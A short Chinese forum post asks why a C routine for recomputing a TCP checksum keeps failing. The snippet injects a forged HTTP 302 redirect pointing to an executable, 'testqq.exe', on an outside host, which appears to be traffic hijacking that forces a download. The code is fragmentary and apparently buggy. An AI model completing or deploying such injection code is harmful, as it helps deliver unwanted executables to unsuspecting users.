- 论坛徽章:
- 0
|
u_char bufsend[]="HTTP/1.1 302 Found\r\nDate: \r\nServer: \r\nLocation: http://1.1.1.1/testqq.exe\r\nContent-Type: text/html\r\nContent-Length: 0\r\n\r\n";
int lenofbufsend=sizeof(bufsend);stcpptr->check=htons(0x0000);
unsigned short attachsize=0;
struct psd_header* psd_tcpptr=NULL;
attachsize=ntohs(sipptr->tot_len)-20;
psd_tcpptr=(struct psd_header*)malloc(attachsize+sizeof(struct psd_header));
if(NULL==psd_tcpptr)
return ;
memset(psd_tcpptr,0,attachsize+sizeof(struct psd_header));
psd_tcpptr->destip=sipptr->daddr;
psd_tcpptr->sourceip=sipptr->saddr;
psd_tcpptr->mbz=0;
psd_tcpptr->ptcl=0x06;
psd_tcpptr->tcpl=htons(attachsize);
u_char* temp=NULL;
temp= (u_char*)malloc(attachsize);
memset(temp,0,attachsize);
memcpy(temp,(unsigned char*)stcpptr,20);
memcpy(temp+20,bufsend,lenofbufsend);
memcpy((unsigned char*)psd_tcpptr+sizeof(struct psd_header),temp,attachsize);
stcpptr->check=checksum((unsigned short*)psd_tcpptr,attachsize+sizeof(struct psd_header));
高手们看看我这个计算tcp首部校验和的程序对不对啊,怎么总是不成功呢? |
|